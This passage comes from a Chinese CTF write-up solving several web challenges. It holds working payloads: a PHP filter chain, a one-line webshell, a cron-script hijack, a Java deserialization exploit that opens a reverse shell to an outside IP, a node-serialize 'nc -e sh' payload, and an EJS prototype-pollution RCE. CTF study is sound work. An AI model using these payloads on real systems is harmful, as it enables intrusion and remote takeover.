022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode
```

而最后的RCE，应该没啥说头

cmd=system('cat flag.php');

就OK了。

然后提一下这题的俩彩蛋。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=Y2MzZDg3ZjhmZGIxMTkwOWQzMWI3NDc5YWI1NTc0NDZfb0pJUFNEMUpiNTIyS1R1b0loWGtqNGNvc0dsc1dMZzJfVG9rZW46WU40MmI4eVBUb3cxTlB4NnFkTWNvaWVvbjViXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

出自黑客与画家这本书。一方面这段话流传度也比较广，说的也挺好。另一方面是提到了画家（出题人的奇怪脑回路：千年樱 -> 樱之诗 -> 画家）

然后第二个彩蛋是在story.txt里边(是的，这里边完全没有有用的信息，就只是单纯的一个瞎编的题目背景罢了）

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MGQyYzM0YThkZmYxNmE5MzdmYjQ1YzMyNWQ2ZWIxN2ZfMjh1elVnWmxyOG9QTHUxQk04NmJ2dzdKY3FGOUdyZUpfVG9rZW46VVZnRWJ2ZldTb1d4ZlJ4aGxtVmN1alJwbklmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

你以为这是彩蛋吗？不，实际上还有层零宽隐写，隐写的才是真正的彩蛋2（当然彩蛋没什么用，就只有我的碎碎念说是）

### 小蓝鲨的故事

目录扫描发现robots.txt界面，有serect_key

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NTdjYmQyY2M3ZmZiMzA4ZmRkNjlkNjkyODY0NDA1NjZfMGc4bGxvTmlCNFJYOFZCRDFUdjB6RlVzQ2llQXhsNGVfVG9rZW46TEpjWWJuT0lGb3Y5aTl4N0h2b2M1RUhhblFoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

打开主页面，发现read Hacker，打开Hacker页面，发现username为ISctf_Hacker

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MWQ1NmVmZjBhMmJjNTEzMDc3YjczODQzYmEzNjUyN2RfR1M5ZU9qR0JzdjdJaXcwZFhENFdiM0RHUDRtblBIU2VfVG9rZW46WWFEaGJicHpwb3Jwa1J4SGc3TmM3dnVtbjdiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

f12能看到有token，进行session伪造

伪造完成访问flag页面，得到flag

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YjAzYTNlZTAxMjEzMjk1M2RmODhiODBjMjcyNTUxMDJfR092RzJaaGlRUlJPbnhJellJbHlQMFA5WnlUMkNPNUFfVG9rZW46U2NSVWJIczVOb0hGY3V4TTdpRWNCMDU2bmFiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### 小蓝鲨的冒险

出题人：fpclose

解题过程：

首先题目给出源码：

```Python
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关，你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    $num = $_POST["num"];
    echo "第一关有惊无险！小蓝鲨壮着胆子接着继续往下走！<br>";
    if($num == 2024){
        die("QAQ小蓝鲨误入陷阱，不怕，再接再厉！");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("陷阱太多QAQ");
    }
    if(intval($num,0) == 2024){
        echo "到这了难道还要放弃吗？<br>";
        if (isset($_GET['which'])){
            $which = $_GET['which'];
            echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油，还差最后一步了！";
            switch ($which){
                case 0:
                    print('QAQ');
                case 1:
                case 2:
                    require_once $which.'.php';
                    echo $flag;
                    break;
                default:
                    echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
                    break;
            }
        }
    }
}
```

第一层

```Python
$a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')
```

由于`$a`的值被预先设置成了`isctf2024`。显然想让if中的条件为真是不太可能的事情。但是这里有一句关键性的语句

```Python
$b = $_GET["b"];
@parse_str($b);
```

具体用法参照对应php手册。给出他的一个实例：

```Python
$b = "name=John&age=30";
parse_str($b);
echo $name;  // 输出 John
echo $age;   // 输出 30
```

不难发现`parse_str`的作用再根据php语言的覆盖性的特性，我们可以传入`a[0]`的值，从而完成对变量的一个覆盖。和`QNKCDZO`字符串的md5的值相等的字符串网上也有很多，我们随便找一个值来用即可。

```Python
?b=a[0]=s878926199a
```

第二层

```Python
$num = $_POST["num"];
    echo "第一关有惊无险！小蓝鲨壮着胆子接着继续往下走！<br>";
    if($num == 2024){
        die("QAQ小蓝鲨误入陷阱，不怕，再接再厉！");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("陷阱太多QAQ");
    }
    if(intval($num,0) == 2024){
```

第一个if要求我们num的值不能为2024，第二个if不允许我们的num中带有字母，第三个if要求我们的num能够转变为整数2024。那么就是一个经典的矛盾题，主要是要绕过`intval`的检测，很显然，字符串弱绕过无法使用，那么这里可以选择使用8进制来绕过。

```Python
num=03750
```

第三层

```Python
if (isset($_GET['which'])){
            $which = $_GET['which'];
            echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油，还差最后一步了！";
            switch ($which){
                case 0:
                    print('QAQ');
                case 1:
                case 2:
                    require_once $which.'.php';
                    echo $flag;
                    break;
                default:
                    echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
                    break;
            }
        }
```

学过C语言的都看得懂，让case走到`case 2:`分支，会有一个文件包含，然后下方有一个输出`$flag`的操作。甚至都不用使用伪协议就能读到flag。

```Python
which=flag
```

综上穿参，即可获取flag

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MTkxNjFmZjQ1MDVlZDBkMGE1MzdjNmJmNjU5OGM2ZDFfR0xic3duWlBTd1dpNG5ibGl1VVV2eTZtMEpDMDRldElfVG9rZW46UnJSbGJMbEE2b0hqcml4YmhWY2NIWXl4bjhmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### 小蓝鲨的秘密

出题人：fpclose

解题过程：

打开靶机会自动跳转到蓝鲨的主页，使用yakit或者bp可以发现有一个302的跳转。使用爬虫或者curl或者抓包工具直接访问靶场地址即可拿到flag。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OTIyOGMyN2ZhZGRjNDFhM2U1YzljYzJiNjdjNGQ4OThfWkFoQUc1em9JTncyaE1uNlJsc2tDTjhheXJNMjhDTTFfVG9rZW46SVQzWGI4UHJkb2xzYVJ4YmFyZWNiVzVZbjRkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### 小蓝鲨的临时存储室

出题人：fpclose

解题过程：

打开靶机，很明显一个文件上传题。上传一句话木马：

```Python
<?php eval($_POST[1]);?>
```

然后蚁剑连接，发现flag就在我们的根目录，但是打开发现值为空。使用终端查看一下权限：

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZGU0MTBhNTgzYjdmYjBhZjc2YzM2ZmM3M2JmZTBmZDFfcGZ5SnR4aHZXNUlQdVUzbXlQWG9FQWhTaEZHQ2c0dTJfVG9rZW46V0V0UWJKc3A2b01NeEV4UGl6b2NtOFhFbkxkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

可以发现不是/flag为空，而是当前权限不允许我们直接读flag的值。很多人会去想提权的操作，但是发现这个环境没办法提权。但是我们可以发现，在根目录下有一个`down_file.sh`文件具有普通的写入权限，我们读取一下内容

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NmVmYTViMjMxOTE1M2Y5NGIzNDU2NDk4YWVlZDdlOWJfN01sRzNibVZkYTV4MmZBQmp4RVFjWmtJa2ZDY3VONXhfVG9rZW46QkVlWGJxc3VYb3dOQzd4bG9GcGNVTDgzbkllXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

可以发现他是一个删除用户上传文件所在的目录中的所有php文件的脚本，这也是我们为什么在做题的时候木马会频繁被杀的原因，不难猜到这是一个定时任务，每5分钟执行一次。那么由于我们具有写入的权限，那么不妨在脚本中添加一句指令，巧妙的利用定时执行的特点，将我们的flag值带出

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NTAzN2MyMGYxMjc0NGQ1NjgyMjJlZWM1MGJjOWE5MTJfT0tpQUZBRWpWcUNxRGNudlhCazIzamNwelVtdUduR2xfVG9rZW46Q1FUamJvTEtTbzFvTWN4akpDVmNZbkxxblVmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

写入成功后静待5分钟的到来，就会将/flag的值写到/flag.txt中，那么我们直接读取/flag.txt即可巧妙读取到flag。

### 蓝鲨的java入门课堂

出题人：oSthing

题解：晚点补，先放exp

```Java
package cat.uwu.begin_java;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;

public class temp {
    public static void main(String[] args) throws Exception {
        Class<?> evilClass = Class.forName("cat.uwu.begin_java.Evil");
        Constructor<?> declaredConstructor = evilClass.getDeclaredConstructor(String.class);
        declaredConstructor.setAccessible(true);
        Evil e = (Evil) declaredConstructor.newInstance("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzExOC4zMS4zNi41OS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(e,"1");
        String payload = base64serial(hashMap);
        System.out.println(payload);
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
}
```

### ezserialize

出题人：Doramer

解题过程：

`__wakeup` 方法中，检查了 `isAdmin` 属性。如果为 `true`，则显示 flag，否则显示用户信息。通过将 `isAdmin` 设置为 `true`，攻击者可以让程序通过调用getFlag输出 flag。反序列化的对象会触发 `__wakeup` 方法。控制反序列化的对象，可以通过设置 `isAdmin = true` 来访问 `/flag` 文件。

**构造恶意** **`User`** **对象：**

通过 PHP 构造一个 `User` 对象并设置 `isAdmin` 为 `true`，然后序列化该对象：

```PHP
<?php
$exploit = new User("attacker");
$exploit->isAdmin = true;
echo urlencode(serialize($exploit));
?>
O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22attacker%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D
```

data传参就可以得到flag

### ezrce

出题人：Doramer

解题过程：

print_r() 函数可用于打印变量，scandir() 函数返回指定目录中的文件和目录的数组，print_r(scandir('/'))在根目录查找到flag文件， passthru() 函数可以用来执行外部命令，%09绕过空格过滤,cmd传参passthru("tac%09/f*");即可查看 flag

### ezlogin

出题人：F10wers13eiCheng

解题过程：

考察`node`反序列化

http://www.mi1k7ea.com/2020/03/29/node-serialize%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

Payload

```
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('nc vps port -e sh');}()"}
```

### ezejs

出题人：F10wers13eiCheng

解题过程：

```JSON
{
    "__proto__":{
    "destructuredLocals":[       "a=a;global.process.mainModule.require('child_process').execSync('echo `id` > /app/views/index.ejs');//var __tmp2"
    ]
    }
}
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YmM1ZjQyOTVmNmFjMzY5NmViYWIzMGZmYWNiOTZhOTVfNHkwYWpjaEdhcVZHaGRnVmQ2dVRWRTBOQTNYT3FCTnRfVG9rZW46WWlrUWJ4VjRCb3dUanJ4bk1BbmMyaEtlbmFjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)